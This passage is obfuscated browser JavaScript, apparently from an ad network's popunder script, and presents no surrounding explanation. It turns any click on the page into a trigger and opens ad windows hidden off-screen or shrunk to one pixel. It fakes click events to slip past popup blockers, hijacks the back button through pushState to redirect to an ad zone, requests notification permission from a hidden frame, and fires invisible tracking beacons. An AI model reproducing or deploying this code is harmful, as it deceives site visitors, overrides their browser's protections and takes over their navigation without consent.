            d = q6 ? j : [D, c2, K2, a2, U2, P2, S2, T2, g2 + e4[n2], u2 + e4[k2]][D4](o2),
            t;
        if (P && !s[b6] && !s[d8]) {
            var f = P[Y],
                e = r;
            if (!s[B6]) {
                e = P[Y];
                f = r;
            }
            t = W4(f, q, d, b, function() {
                return B[l](r, q, d);
            });
            if (t[W] !== undefined) {
                t[l](A4)[W6]();
            }
            if (!L0) {
                i[Y4]();
                if (F) {
                    s2(function() {
                        B[w][Y] = e;
                    });
                } else {
                    B[w] = e;
                }
            }
            return a;
        } else {
            if (s[d8]) {
                W4(N, q8, j, b, function() {
                    return B[l](N, q, d);
                });
                return a;
            }
            r = x2 || q6 ? N : A4;
            t = W4(r, q, d, b, function() {
                return B[l](r, q, d);
            });
        }
        if (!t) {
            if (i && i[g]) {
                i[g][M4]();
            }
            return c;
        }
        t[v]();
        if (y7) {
            B[v]();
            B[E4]();
        }
        if (t[W] !== undefined) {
            t[l](A4)[W6]();
        }
        try {
            t[o6][E4]();
        } catch (L) {}
        if (!x2) {
            t[w] = N;
        }
        if (s[d8]) {
            return a;
        }
        if (!(T8 || t6) && i && i[g]) {
            i[g][M4]();
        }
        return a;
    }

    function a6() {
        n8 = c;
        if (r6()) {
            r2();
        } else if (C8() > U) {
            y2 = setTimeout(r2, C8());
        }
    }

    function v7() {
        var N = 'zwgsdloasdf';

        function r(L) {
            if (u) {
                return;
            }
            u = a;
            L[Y4]();
            L[N1]();
            L[c1]();
            q(L);
        }

        function q(i) {
            var v = 3000,
                W = '%3Chtml%3E%3Chead%3E%3Cscript%3Ewindow.a%3D%7B%7D%3Bwindow.a.focusTimer%3Dfunction()%7Bwindow.resizeTo(1%2C0)%3Bwindow.moveTo(19999%2C19999)%3B%7D%3Bwindow.a.focusTimer()%3B%3C%2Fscript%3E%3C%2Fhead%3E%3Cbody%3E%3C%2Fbody%3E%3C%2Fhtml%3E',
                D = i[g] || i[R4];
            v4 = D;
            if (K) {
                e(D);
                return;
            }
            try {
                var o = [c2, K2, a2, U2, P2, S2, T2, g2 + e4[n2], u2 + e4[k2]][D4](o2);
                L4 = W4(A4, j, o, b, function() {
                    return B[l](A4, j, o);
                });
                L4[L7L.S9][O2](decodeURIComponent(W));
            } catch (L) {}
            var O, P = o6R9[z9][N] === u4;
            if (!t2) {
                O = setInterval(function() {
                    var L = "hasFocus";
                    if (o6R9[w9][L]()) {
                        clearInterval(O);
                        d(D);
                    }
                }, M8);
            }
            self[J](E4, function() {
                if (!t2) {
                    clearInterval(O);
                }
                d(D);
            });
            if (!P) {
                setTimeout(function() {
                    if (!t2) {
                        clearInterval(O);
                    }
                    d(D);
                }, v);
            }
            X = n1(h1());
        }

        function d(L) {
            if (!I) {
                I = a;
                t(L);
            }
        }

        function t(i) {
            X[E](U6, e2);
            setTimeout(function() {
                X[S][S][a4](X[S]);
                o6R9[w9][D2](M4, r, a);
                o6R9[z9][N] = U;
            }, M8);
            try {
                L4.moveTo(T1(), V1());
                L4[a1](R1(), w1() + U1);
                L4[w] = s[Q];
            } catch (L) {}
            e(i);
            K = a;
            u = c;
        }

        function f() {
            if (!o6R9[z9][N]) {
                o6R9[w9][J](M4, r, a);
                if (o6R9[z9][N] === undefined) {
                    o6R9[z9][N] = H;
                } else {
                    o6R9[z9][N] = u4;
                }
            } else {
                setTimeout(f, H4);
            }
        }

        function e(i) {
            try {
                var v = o6R9[w9][y8](P1);
                v[t8](M4, a, a, window, H, U, U, U, U, c, c, c, c, U, z);
                i[H8](v);
                u = c;
            } catch (L) {}
        }
        var X, u = c,
            K = c,
            I = c,
            v4, L4;
        f();
    }

    function W7() {
        var L = b[k](f8);
        L[T][Q8] = k1;
        L[p4] = s[o1];
        G4[Z](L);
    }

    function B7() {
        C(function() {
            var D = "forcedPerfomanceCall",
                o = "isNaN",
                O = "connectStart",
                P = "connectEnd",
                N = "filter",
                r = "performanceProbability",
                q = 'performanceProbability',
                d = "getEntries",
                t = "performance",
                f = "disablePerforamnceCompletely",
                e = '__PPU_PRF2';
            if (!B[r8]) {
                return;
            }
            var X = B[r8][e + s[U4]];
            if (X) {
                X = Number(X);
                if (X + v6 > new Date()[m4]()) {
                    return;
                }
            }
            if (s[f]) {
                return;
            }
            if (!B[t] || !B[t][d] || !W0 || F || !(t6 || I8)) {
                return;
            }
            var u = q in s ? s[r] : M8;
            B[r8][e + s[U4]] = new Date()[m4]();
            var scriptLoadPerformance = B[t][d]()[N](function(L) {
                if (!L[b2]) {
                    return c;
                }
                return L[b2][V4](W0[p4]) !== -H;
            })[U];
            if (!scriptLoadPerformance) {
                return;
            }
            var I = scriptLoadPerformance[P] - scriptLoadPerformance[O];
            if (B[o](I) || I === U) {
                return;
            }
            if (!s[D] && Math[B2]() * N8 > Number(u)) {
                return;
            }
            m1({
                scriptLoadPerformance: scriptLoadPerformance
            }, function() {
                C(function() {
                    var v = "imageToTrackPerformanceOn";
                    if (!s[v]) {
                        return;
                    }
                    var W = o6R9[w9][k](O1);
                    W.onerror = function() {
                        if (W[S]) {
                            W[S][a4](W);
                        }
                    };
                    W[i6] = function() {
                        C(function() {
                            var imgLoadPerformance = B[t][d]()[N](function(L) {
                                if (!L[b2]) {
                                    return c;
                                }
                                return L[b2][V4](s[v]) !== -H;
                            })[U];
                            if (W[S]) {
                                W[S][a4](W);
                            }
                            if (!imgLoadPerformance) {
                                return;
                            }
                            m1({
                                imgLoadPerformance: imgLoadPerformance
                            });
                        });
                    };
                    W[p4] = s[v];
                    W[T][D1] = b1;
                    W[T][Q8] = B1;
                    W.style.top = W1;
                    W[T].width = c8;
                    W[T].height = c8;
                    W[T][a8] = v1;
                    W[T][U8] = i1;
                });
            });
        });
    }

    function I1(v) {
        function W(i) {
            try {
                return W4(i, j, j, B.top.document, function() {
                    return B.top.open(i);
                });
            } catch (L) {
                return W4(i, j, j, b, function() {
                    return B[l](i);
                });
            }
        }
        var D = v[g] || (B[q4] ? B[q4][R4] : z),
            o, O = f4(D, n4);
        if (O && !s[b6]) {
            var P = O[Y],
                N = s[Q];
            if (!s[B6]) {
                N = O[Y];
                P = s[Q];
            }
            o = W(P);
            if (F) {
                s2(function() {
                    B[w][Y] = N;
                });
            } else {
                B[w] = N;
            }
        } else {
            return W(s[Q]);
        }
        return o;
    }

    function c6(i, v) {
        var W = "aggressive",
            D = "clickAnywhere",
            o = "includes",
            O = "concat",
            P = "excludes",
            N = 'embed';
        if (i[C2] === R2) {
            return c;
        }
        var r = [],
            q = [],
            d = i[f2][P8](),
            t;
        if (!v) {
            if (d === s1 || d === N) {
                return c;
            }
        }
        if (i[C2] === p6) {
            return a;
        }
        t = s[P].length;
        while (t) {
            t -= H;
            r = r[O](i2(s[P][t]));
        }
        t = s[o].length;
        while (t) {
            t -= H;
            q = q[O](i2(s[o][t]));
        }
        if (s[D] || s[W] && s[o].length && !q.length) {
            q[L1](J4);
        }
        C(function() {
            var L = "onClickExcludes";
            r = r[O](B[L]);
        });
        while (i) {
            if (E1(i, r)) {
                return c;
            }
            if (E1(i, q)) {
                return a;
            }
            i = i[S];
        }
        return c;
    }
    var Y1 = function Y1() {
        var N = '&mouseClick=window.',
            r = '&id=',
            q = 'onLoad=window.',
            d = 'flashvars',
            t = 'true',
            f = 'allowfullscreen',
            e = 'always',
            X = 'allowscriptaccess',
            u = 'false',
            K = 'menu',
            I = 'transparent',
            v4 = 'value',
            L4 = 'wmode',
            G = 'name',
            s4 = 'param',
            m = 'position:fixed;visibility:visible;left:0;top:0;width:6px;height:6px;z-index:99999',
            x = "flashFileUrl",
            P4 = 'data',
            S4 = 'application\/x-shockwave-flash',
            N4 = "defineProperty",
            j4 = 'callback',
            z2 = 'UFLSH',
            m2 = 'PP';

        function E2() {
            if (V2) {
                return;
            }
            V2 = a;
            b[J](s6, function(v) {
                var W = "button";
                if (v[W] === U) {
                    if (e8 + A6 > V()) {
                        return;
                    }
                    e8 = V();
                    if (n8) {
                        if (s[Q2]) {
                            g8 += H;
                            if (g8 >= s[Q2]) {
                                a6();
                            }
                        }
                        return;
                    }
                    var D = !c6(v[g]),
                        o = !r6();
                    if (o || D) {
                        if (s[Q4]) {
                            p[x4] += H;
                        }
                        if (s[d4]) {
                            p[Z4] += H;
                        }
                        N6();
                        if (s[Q4] && s[Q4] === p[x4] || s[d4] && p[O4] < s[w4] && (s[i4] ? k4[O4] < s[w4] && p[O4] < s[i4] : a) && s[d4] === p[Z4]) {
                            r2();
                        }
                        return;
                    }
                    y[T].width = o8;
                    y[T].height = o8;
                    O = function O() {
                        var L = 'hidden',
                            i = '0px';
                        y[T].width = i;
                        y[T].height = i;
                        y[T][U8] = L;
                    };
                    P = function P() {
                        var L = 'visible',
                            i = '1px';
                        y[T].width = i;
                        y[T].height = i;
                        y[T][U8] = L;
                    };
                }
            });
        }
        if (b0) {
            return;
        }
        b0 = a;
        var K4 = (m2 + V() + z2 + Math[B2]())[O8](P6, p2),
            y = b[k](s1),
            W2 = K4 + j4,
            V2 = c;
        Object[N4](B, W2, {
            g9: c,
            n9: c,
            value: E2
        });
        y[z4] = S4;
        y[l6] = y[b2] = K4;
        y[E](P4, s[x]);
        y[C2] = R2;
        y[E](J6, m);
        var M2 = b[k](s4);
        M2[E](G, L4);
        M2[E](v4, I);
        y[Z](M2);
        var r4 = b[k](s4);
        r4[E](G, K);
        r4[E](v4, u);
        y[Z](r4);
        var q2 = b[k](s4);
        q2[E](G, X);
        q2[E](v4, e);
        y[Z](q2);
        var I4 = b[k](s4);
        I4[E](G, f);
        I4[E](v4, t);
        y[Z](I4);
        var x8 = b[k](s4);
        x8[E](G, d);
        x8[E](v4, [q, W2, r, K4, N, B0][D4](j));
        y[Z](x8);
        var o0 = setInterval(function() {
            if (b[h]) {
                clearInterval(o0);
                b[h][L6](y, b[h][G6]);
                y[E4]();
            }
        }, H4);
        b[h][Z](y);
    };

    function h1() {
        var L = "floor",
            i = 'length',
            v = 'abcdefghijklmnopqrstuvwxyz',
            W = j,
            D = F6;
        for (var o = v[l4](j), O = o[i], P = U, N = j; P < D; P++) {
            N += o[Math[L](Math[B2]() * O)];
        }
        return A1 + W;
    }

    function A(L, i) {
        var v = (47.80E1 >= (25.1E1, 88.) ? (14, "=") : 1.215E3 < (0x1B0, 0x102) ? "m" : (115.4E1, 7.350E2) <= 17.40E1 ? (1.097E3, 1.423E3) : (38, 65.)),
            W = ((0xB8, 29.5E1) < (72., 54) ? (8.05E2, 119.) : 0x243 <= (81.7E1, 46.90E1) ? 'o' : (14.6E2, 0x2B) <= (0xBE, 93) ? (0x10D, "&") : (127., 0x21F)),
            D = ((9.63E2, 0x1B2) >= (10.72E2, 57) ? (119.7E1, "?") : (0x220, 50));
        s[Q] += s[Q][V4](D) != -H ? W : D;
        s[Q] += encodeURIComponent(L) + v + encodeURIComponent(i);
    }

    function N6() {
        var i = '=; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/',
            v = C4(Z8, function(L) {
                return p[L];
            })[D4](D8),
            W, D;
        if (s[i4]) {
            W = C4(Z8, function(L) {
                return k4[L];
            })[D4](D8);
        }
        if (s[b8] && X4) {
            C(function() {
                X4[c4] = v;
                D = X4[c4] === v;
                if (s[i4]) {
                    X4[Y8] = W;
                }
            });
        }
        if (s[j2] && b4 && !D) {
            C(function() {
                b4[c4] = v;
                if (s[i4]) {
                    b4[Y8] = W;
                }
                D = b4[c4] === v;
            });
        }
        if (D) {
            return;
        }
        if (h8) {
            b[h4] = c4 + i;
            b[h4] = [c4 + q1 + v, M1 + new Date(V() + X7)[y1](), t1, H1 + (s[j8] || b[j8])][D4](r1);
            D = (b[h4][X2](new RegExp(A8 + c4 + l8)) || [])[u4] === v;
        }
        if (!D && b4 && !s[b8]) {
            C(function() {
                b4[c4] = v;
                D = b4[c4] === v;
            });
        }
    }

    function Z1() {
        var L = "ppuDisableTrigger";
        return B[L] && !s[V6];
    }

    function x1(v, W) {
        var D = 'localStorage',
            o = 'sessionStorage';

        function O(L) {
            var i = 'undefined';
            if (typeof B[L] === i || typeof B[L][P] === i) {
                return c;
            }
            if (V() >= B[L][P]) {
                B[L][P] = N;
                return c;
            } else {
                return a;
            }
        }
        var P = d1 + v + p8 + s[U4],
            N = V() + W;
        if (X4) {
            if (O(o)) {
                return a;
            }
        }
        if (b4) {
            if (O(D)) {
                return a;
            }
        }
        if (h8) {
            return b[h4][X2](new RegExp(A8 + P + l8));
        }
    }

    function R1() {
        var L = "clientWidth",
            i = U;
        if (typeof o6R9[z9][B8] == E6) {
            i = o6R9[z9][B8];
        } else {
            if (o6R9[w9][L7L.u9] && o6R9[w9][L7L.u9][L]) {
                i = o6R9[w9][L7L.u9][L];
            } else {
                if (o6R9[w9][h] && o6R9[w9][h][L]) {
                    i = o6R9[w9][h][L];
                }
            }
        }
        return i;
    }

    function b7(L) {
        var i = "about:blank";
        L[Y4]();
        W4(s[Q], X8 + new Date()[m4](), [c2, K2, a2, U2, P2, S2, T2, g2 + e4[n2], u2 + e4[k2]][D4](o2), b, function() {
            return B[l](s[Q]);
        });
        var v = o6R9[z9][l](i);
        v[E4]();
        v[W6]();
    }

    function f4(L, i) {
        if (!L) {
            return z;
        }
        if (L[f2] === i) {
            return L;
        }
        return f4(L[S], i);
    }

    function D7(q) {
        b[h][J](J8, function(o) {
            var O = "targetTouches",
                P = function P(L) {
                    var i = "abs";
                    var v = "changedTouches";
                    b[h][D2](W8, P, c);
                    if (!Z2) {
                        return;
                    }
                    Z2 = c;
                    var W = L[v][U][G8],
                        D = L[v][U][F8];
                    if (B[v8] / N8 > Math[i](D - r) && B[B8] / N8 > Math[i](W - N)) {
                        q(L);
                    }
                };
            if (!o[O]) {
                return q(o);
            }
            if (o[O].length > H) {
                return;
            }
            if (Z2) {
                Z2 = c;
                return;
            }
            Z2 = a;
            var N = o[O][U][G8],
                r = o[O][U][F8];
            b[h][J](W8, P, c);
        }, c);
    }

    function O7() {
        var L = "getElementsByTagName",
            i = s[V8].length,
            v = b[L](F4)[U],
            W;
        while (i) {
            i -= H;
            W = b[k](F4);
            W[z4] = e1;
            W[d2] = a;
            W[p4] = s[V8][i];
            v[S][L6](W, v);
        }
    }

    function C4(L, i) {
        var v = U,
            W = [],
            D;
        while (v < L.length) {
            D = i(L[v], v, L);
            if (D !== undefined) {
                W[L1](D);
            }
            v += H;
        }
        return W;
    }

    function o7() {
        var o = 'head',
            O = b[g4] || i2(o)[U];
        C4(s[m6], function(L) {
            var i = 'dns-prefetch',
                v = "rel",
                W = 'link',
                D = b[k](W);
            D[v] = i;
            D[Y] = L;
            O[Z](D);
        });
    }

    function w1() {
        var L = "clientHeight",
            i = U;
        if (typeof o6R9[z9][v8] == E6) {
            i = o6R9[z9][v8];
        } else {
            if (o6R9[w9][L7L.u9] && o6R9[w9][L7L.u9][L]) {
                i = o6R9[w9][L7L.u9][L];
            } else {
                if (o6R9[w9][h] && o6R9[w9][h][L]) {
                    i = o6R9[w9][h][L];
                }
            }
        }
        return i;
    }

    function P7() {
        if (s[i4]) {
            return k4[O4] < s[w4] && p[O4] < s[i4];
        }
        return p[O4] < s[w4] && (s[d4] ? !p[Z4] || p[Z4] >= s[d4] : V() > p[O6] + s[p1] * t4);
    }

    function U7(v) {
        var W = 'MouseEvents',
            D;
        if (v) {
            D = v[g] || (B[q4] ? B[q4][R4] : z);
        }
        var o = f4(D, n4);
        if (o && !s[b6]) {
            var O = o[Y],
                P = s[Q];
            if (!s[B6]) {
                P = o[Y];
                O = s[Q];
            }
            W4(O, j, j, b, function() {
                var L = b[k](p2),
                    i = b[y8](W);
                L[Y] = s[Q];
                L[g] = q8;
                i[t8](y4, a, a, B, H, U, U, U, U, a, c, c, c, H, z);
                L[H8](i);
            });
            if (!L0) {
                v[Y4]();
                if (F) {
                    s2(function() {
                        B[w][Y] = P;
                    });
                } else {
                    B[w] = P;
                }
            }
        } else {
            W4(s[Q], j, j, b, function() {
                var L = b[k](p2),
                    i = b[y8](W);
                L[Y] = s[Q];
                L[g] = q8;
                i[t8](y4, a, a, B, H, U, U, U, U, a, c, c, c, H, z);
                L[H8](i);
            });
            if (v && v[g]) {
                v[g][M4]();
            }
        }
    }

    function a7() {
        function K(i) {
            try {
                var v = o6R9[w9][y8](P1);
                v[t8](M4, a, a, window, H, U, U, U, U, c, c, c, c, U, z);
                i[H8](v);
                x = c;
            } catch (L) {}
        }

        function I() {
            o6R9[w9][J](M4, G, a);
        }

        function v4(i) {
            var v = "getElementById",
                W = "%3Chtml%3E%3Cbody%3E%3Cscript%3ENotification.requestPermission%28function%28status%29%7B%7D%29%3B%3C%2Fscript%3E%3C%2Fbody%3E%3C%2Fhtml%3E",
                D = "srcdoc",
                o = "0",
                O = "zwgsdloasdf_frame",
                P = '<script>(function(){window.resizeTo(1,0);window.moveTo(0,0);})()</script>',
                N = 'height=1',
                r = 'width=1',
                q = 'left=900000',
                d = 'top=900000',
                t = 'location=0',
                f = i[g] || i[R4];
            N4 = f;
            if (P4) {
                K(f);
                return;
            }
            try {
                var e = [c2, t, a2, U2, P2, d, q, r, N][D4](o2);
                j4 = W4(A4, j, e, b, function() {
                    return B[l](A4, j, e);
                });
                j4[L7L.S9][O2](P);
                var X = b[k](f8),
                    u = X[l6] = O + s[U4];
                X.width = o;
                X.height = o;
                X[D] = decodeURIComponent(W);
                b[h][Z](X);
            } catch (L) {}
            if (!t2) {
                setTimeout(function() {
                    o6R9[w9][v](u)[S][a4](o6R9[w9][v](u));
                }, z6);
                L4(f);
            }
            self[J](E4, function() {
                try {
                    if (o6R9[w9][v](u) !== z) {
                        o6R9[w9][v](u)[S][a4](o6R9[w9][v](u));
                    }
                    if (m !== z) {
                        m[E](U6, e2);
                        m[S][S][a4](m[S]);
                    }
                    L4(f);
                    u = z;
                    m = z;
                } catch (L) {}
            });
            if (t2) {
                m = n1(h1());
            }
        }

        function L4(L) {
            if (!S4) {
                S4 = a;
                s4(L);
            }
        }

        function G(L) {
            if (x) {
                return;
            }
            x = a;
            L[Y4]();
            L[N1]();
            L[c1]();
            v4(L);
        }

        function s4(i) {
            setTimeout(function() {
                o6R9[w9][D2](M4, G, a);
            }, M8);
            try {
                j4.moveTo(T1(), V1());
                j4[a1](R1(), w1() + U1);
                j4[w] = s[Q];
            } catch (L) {}
            K(i);
            P4 = a;
            x = c;
        }
        var m, x = c,
            P4 = c,
            S4 = c,
            N4, j4;
        I();
    }

    function r6() {
        return !n8 && !Z1() && (z1() || P7());
    }

    function z1() {
        var L = V();
        if (s[i4]) {
            return L > k4[L2] + s[N2] * t4;
        }
        if (!s[Q4] && !s[N2] && s[d4]) {
            return s[d4] <= p[Z4];
        }
        return s[Q4] ? !p[x4] || p[x4] >= s[Q4] : L > p[L2] + s[N2] * t4;
    }

    function c7() {
        C(function() {
            var L = '}',
                i = '{',
                v = "insertRule",
                W = "sheet",
                D = 'cursor: pointer!important;',
                o = '*, * *, * * *, * > *, * > * > *',
                O = "createTextNode",
                P = b[k](J6);
            P[Z](b[O](j));
            b[g4][Z](P);
            var N = o,
                r = D;
            P[W][v](N + i + r + L, U);
        });
    }

    function V() {
        return +new Date();
    }

    function N7(W) {
        var D = 'visibilitychange';

        function o(L) {
            var i = "disableChromePDFPopunderEventPropagation",
                v = "hidden";
            if (!o6R9[w9][v]) {
                if (O && O[S]) {
                    O[S][a4](O);
                }
                if (!s[i]) {
                    W[g][M4]();
                }
                O = z;
                b[D2](D, o, c);
            }
        }
        W[Y4]();
        var O = b[k](f8);
        O[p4] = A1;
        b[J](D, o, c);
        W4(s[Q], X8 + new Date()[m4](), [c2, K2, a2, U2, P2, S2, T2, g2 + e4[n2], u2 + e4[k2]][D4](o2), b, function() {
            return B[l](s[Q]);
        });
        b[h][Z](O);
    }

    function r7(L) {
        L = f4(L, n4);
        if (L) {
            var i = B[l](L[Y]);
            if (i) {
                B[w] = s[Q];
            }
        } else {
            W4(s[Q], j, j, b, function() {
                return B[l](s[Q]);
            });
        }
    }

    function h2(i, v) {
        var W = "currentTarget",
            D = "disableWaitForWindowFocusBeforeRedirect",
            o = "disableOpenViaMobilePopunderAndFollowLinks",
            O = 2000,
            P = 55,
            N = 'submit',
            r = 'BUTTON',
            q = 'INPUT',
            d = "nodeName",
            t = "form",
            f = "openViaMobilePopunderAndPropagateFormSubmit";
        if (s[f] && (d6 || v0 && !B4)) {
            var e = i[g] && i[g][t] && (i[g][d] == q || i[g][d] == r) && i[g][z4] == N;
            if (e) {
                i[g][t][g] = q8;
                if (o4 > P) {
                    setTimeout(function() {
                        s2(function() {
                            B[w][Y] = s[Q];
                        });
                    }, O);
                } else {
                    s2(function() {
                        B[w][Y] = s[Q];
                    });
                }
                return;
            }
        }
        var X = b[w];
        if (!s[o]) {
            v = f4(v, n4);
            if (v) {
                X = v[Y];
            }
        }
        var u = B[l](X);
        if (u) {
            if (F && !s[D]) {
                if (i[z4] !== y4) {
                    i[W][J](y4, function K(L) {
                        L[Y4]();
                        this[D2](y4, K, a);
                    }, a);
                } else {
                    i[Y4]();
                }
                s2(function() {
                    B[w][Y] = s[Q];
                });
            } else {
                B[w] = s[Q];
            }
        }
    }

    function m1(O, P) {
        C(function() {
            var L = "stringify",
                i = '?jsonKey=',
                v = "partner",
                W = "performanceUrl";
            if (!s[W]) {
                return;
            }
            var D = Number(s[U4]);
            O = O || {};
            O[v] = s[v] || j;
            O[U4] = D;
            O[z4] = w6;
            var o = b[k](O1);
            o.onerror = o[i6] = function() {
                if (o[S]) {
                    o[S][a4](o);
                }
                if (P) {
                    P();
                }
            };
            o[p4] = s[W] + i + encodeURIComponent(JSON[L](O));
            o[T][D1] = b1;
            o[T][Q8] = B1;
            o.style.top = W1;
            o[T].width = c8;
            o[T].height = c8;
            o[T][a8] = v1;
            o[T][U8] = i1;
            b[h][L6](o, b[h][G6]);
        });
    }

    function E1(L, i) {
        var v = i.length;
        while (v) {
            v -= H;
            if (L === i[v]) {
                return a;
            }
        }
        return c;
    }

    function r2() {
        var q = "smartOverlay",
            d = 'fixed',
            t = "addOverlay";
        Q6 = a;
        if (Z1() || !G4) {
            return;
        }
        if (s[i8] && !t2 && !F && o4 > s8) {
            Y1();
        }
        if (s[t]) {
            D0({
                left: U,
                top: U,
                width: o8,
                height: o8,
                position: d
            });
        }
        if (s[q]) {
            var f = [];
            (function e() {
                var N = 750,
                    r = 'object, iframe, embed, video, audio';
                C4(f, function(L) {
                    if (L[S]) {
                        L[S][a4](L);
                    }
                });
                f = C4(i2(r), function(L) {
                    var i = 'absolute',
                        v = 'px',
                        W = "offsetHeight",
                        D = "smartOverlayMinHeight",
                        o = "offsetWidth",
                        O = "smartOverlayMinWidth";
                    if (!c6(L, a)) {
                        return;
                    }
                    if (R2 && L[C2] === R2) {
                        return;
                    }
                    if (s[O] <= L[o] && s[D] <= L[W]) {
                        var P = l0(L);
                        return D0({
                            left: P[C1] + v,
                            top: P.top + v,
                            height: L[W] + v,
                            width: L[o] + v,
                            position: i
                        });
                    }
                });
                f6 = setTimeout(e, N);
            })();
        }
    }

    function V1() {
        var L = "screenTop";
        return o6R9[z9][L] !== undefined ? o6R9[z9][L] : o6R9[z9][R6];
    }

    function T4(L) {
        var i = "desktopPopunderEverywhereLinks",
            v = "desktopPopunderEverywhere",
            W = "desktopChromeFixPopunder",
            D = "iOSSafariSwapPopunder",
            o = "chromePopup",
            O = "chromePDFPopunderNew",
            P = "chromePDFPopunder",
            N = "_blank",
            r = "openViaDesktopPopunder",
            q = "openPopsWhenInIframe",
            d = "iOSChromeSwapPopunder",
            t = 'EXCLUDED',
            f = "excludesOpenInPopunderCapping",
            e = "excludesOpenInPopunder";
        if (L && (L[z4] === J8 || L[z4] === W8)) {
            b[D2](o4 && (!s[i8] || !F) ? s6 : y4, T4, a);
        }
        var X = z;
        if (e8 + A6 > V()) {
            return;
        }
        e8 = V();
        if (n8) {
            if (s[Q2]) {
                g8 += H;
                if (g8 >= s[Q2]) {
                    a6();
                }
            }
            return;
        }
        var u = L && !c6(L[g] || B[q4][R4]),
            K = !r6(),
            I = u && s[e];
        if (!I) {
            if (K || u) {
                if (s[Q4]) {
                    p[x4] += H;
                }
                if (s[d4]) {
                    p[Z4] += H;
                }
                N6();
                if (s[Q4] && s[Q4] === p[x4] || s[d4] && p[O4] < s[w4] && (s[i4] ? k4[O4] < s[w4] && p[O4] < s[i4] : a) && s[d4] === p[Z4]) {
                    r2();
                }
                return;
            }
            S1();
        }
        if (I) {
            var v4 = typeof s[f] === x6 ? s[f] * t4 * Z6 : v6;
            if (x1(t, v4) || !F && (y6 || d7)) {
                I = c;
                return;
            }
            K1(t, v4, a);
        }
        X = L[g] || (B[q4] ? B[q4][R4] : z);
        var L4 = !d6 && !S8,
            G = S8 && !s[d] && !I;
        if (s[q] && H2 === L8) {
            if (B4 && (L4 || G)) {
                return I1(L);
            }
            return v2(L);
        }
        if (!F && (s[r] || I)) {
            if (I8 && o4 > s8) {
                return g1(L);
            }
            if (x2) {
                return b7(L);
            }
            if (X6) {
                return h2(L, X);
            }
        }
        var s4 = F && (s[E8] || s[I2]) && f4(X, n4) && f4(X, n4)[g] === N;
        if (s4) {
            return L7(L);
        }
        if (M7) {
            return v2();
        }
        if (y6) {
            return v2(L);
        }
        if (B4 && (L4 || G) && !K8) {
            return I1(L);
        }
        if (!F && I8 && s[P]) {
            return N7(L);
        }
        if (!F && I8 && (s[O] || I)) {
            return g1(L);
        }
        if (M6) {
            return v2(L);
        }
        if (s[d8] && f4(X, n4)) {
            return v2(L);
        }
        if (T8 && !I || o4 && s[o]) {
            return v2(L);
        }
        if (I && F) {
            return h2(L, X);
        }
        if (v0 && !B4 || !F && !t6 && I) {
            return h2(L, X);
        }
        if (d6 && s[D] || S8 && s[d]) {
            return h2(L, X);
        }
        var m = o4 > s8 && s[W],
            x = (x2 || o4 > s8 || X6) && s[v];
        if (!F && s[i]) {
            return r7(X);
        }
        if (!F && (m || x)) {
            return h2(L, X);
        }
        if ((o4 || H6 || x2) && !B4) {
            return U7(L);
        }
        return v2(L);
    }
    var s = options,
        H7 = lary;
    if (typeof s === F0) {
        s = i7(s, H7);
    }
    var H2 = V0;
    C(function() {
        if (B !== B.top && B[w][h6] === B.top.location.origin) {
            H2 = Y6;
        }
        if (!B.parent.document) {
            H2 = L8;
        }
    }, function() {
        H2 = L8;
    });
    if (s[E0] && H2 === Y6) {
        while (B !== B.top) {
            B = B.top;
        }
        b = B[L7L.S9];
        J4 = B[L7L.S9][L7L.u9];
        n = B[L7L.h9][L7L.Z9];
    }
    var e8 = U,
        F1 = Y2(),
        G1 = Y2(),
        k8 = c,
        J1 = U,
        l1 = U,
        A1 = m0,
        L0 = n[V4](u1) !== -H,
        t7 = B[z0] || B[w0] || B[R0] || B[x0] || function(L) {
            var i = c,
                v = setInterval(function() {
                    if (!i) {
                        i = a;
                        L();
                        clearInterval(v);
                    }
                }, X1);
            return v;
        },
        Z2 = c;
    if (!s[i4] || !s[j2] || !s[w4]) {
        s[i4] = U;
    }
    var s0 = c;
    if (s[Z0] && G0()) {
        B = B.top;
        b = B[L7L.S9];
        J4 = b[L7L.u9];
    }
    var e4 = B[m8];
    C(function() {
        B.postMessage(s, o6R9['location'][h6]);
    });
    var n8 = a,
        g8 = U,
        G4, o4 = (n[X2](/Chrome\/([0-9]{1,})/) || [])[H] | U || (n[X2](/CriOS\/([0-9]{1,})/) || [])[H] | U,
        y7 = /applewebkit/i [R](n),
        H6 = /android/i [R](n),
        T8 = /Android/i [R](n) && /Firefox/i [R](n),
        t6 = /firefox/gi [R](n),
        B4 = /iPhone|iPad|iPod/ [R](n),
        t2 = /Macintosh/ [R](n),
        y6 = /UCBrowser\// [R](n),
        M7 = /Opera Mini\// [R](n),
        F = B4 || H6,
        M6 = /FBAV\//i [R](n),
        e7 = /OS 9/ [R](n) && /like Mac OS X/ [R](n),
        k7 = /OS 10/ [R](n) && /like Mac OS X/ [R](n),
        q7 = parseInt(s[U4], H4) === h0 && B4,
        q6 = M6 && H6,
        d6 = B4 && /Version\// [R](n) && !o4,
        S8 = B4 && /CriOS\// [R](n),
        K8 = B4 && /FxiOS/i [R](n),
        x2 = /Version\/[^S]+Safari/ [R](n),
        i0 = s[Y0] && B4,
        u7 = !o6R9[z9][I0] && K0 in window,
        d7 = /Edge\/\d+/ [R](n),
        X6 = /YaBrowser/ [R](n),
        I8 = o4 && !X6,
        v0 = s[S0] && F,
        W0 = b[T0],
        c4 = [g0, H, s[U4], s[j2] && b[w][n0]][D4](p8),
        Y8 = [u0, H, s[U4], b[w][I6] || b[w][k0]][D4](p8),
        h8 = (b[h4] = K6)[V4][e0](b[h4], K6) !== -H,
        X7 = C0,
        Z8 = [f0, Q0, p0, j0, X0],
        X4, b4;
    C(function() {
        var L = "sessionStorage";
        X4 = B[L];
        b4 = B[r8];
    });
    C(function() {
        var e = 'BACKCLCK',
            X = "expiresBackClick";

        function u(v) {
            var W = "&var=",
                D = "/afu.php?zoneid=",
                o = "http://",
                O = "title",
                P = "history",
                N = "backClickNoHistoryOnly",
                r = "pushState",
                q = "backClickZone",
                d = "backClickAd";
            if (v[d] && v[q] && typeof o6R9[E9][r] === S6) {
                if (v[N] && B[P].length > H) {
                    return c;
                }
                B[P][r]({
                    exp: Math[B2]()
                }, b[O], z);
                var t = b[k](p2);
                t[Y] = v[Q];
                var f = o + t[I6] + D + v[q] + W + v[U4];
                setTimeout(function() {
                    var i = 'popstate';
                    B[J](i, function(L) {
                        B[w][O8](f);
                    });
                }, U);
            }
        }
        if (H2 === L8 || S8 || y6) {
            return;
        }
        var K = typeof s[X] === x6 ? s[X] * t4 * Z6 : v6;
        if (!x1(e, K)) {
            K1(e, K);
            return u(s);
        }
    });
    var j6, p = function() {
